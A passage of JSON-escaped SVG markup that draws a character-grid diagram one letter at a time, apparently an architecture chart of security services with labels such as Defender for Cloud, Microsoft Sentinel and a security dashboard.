style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='116' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='116' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='292' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='148' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='308' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='324' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='340' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='164' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='292' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='148' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='164' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='292' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='308' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='324' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='340' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='116' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='292' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='324' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='340' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='148' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='164' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='292' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='308' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='324' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='340' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='116' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='164' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='292' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='308' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='324' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='116' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='148' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='164' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='244' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='292' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='308' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='324' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='340' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='116' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='164' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='244' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='292' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='324' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='340' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='244' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='292' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='116' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='164' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='244' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='308' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='324' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='340' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='116' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='148' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='244' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='292' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='308' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='324' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='340' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='116' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='164' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='244' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='292' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='308' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='324' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='340' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='116' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='292' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='308' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='324' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='116' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='164' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='244' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='292' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='324' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='340' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='84' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='116' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='244' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='292' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='324' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='116' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='164' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='292' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='324' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='84' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='116' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='148' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='244' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='292' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='324' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='292' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='324' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='116' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='164' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='196' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='244' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='292' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='148' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='164' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='244' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='116' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='244' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='292' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='4' fill='currentColor' style='font-size:1em'\u003eX\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='116' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='164' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='244' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='116' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='164' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='244' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='36' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='116' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='164' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='196' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='164' fill='currentColor' 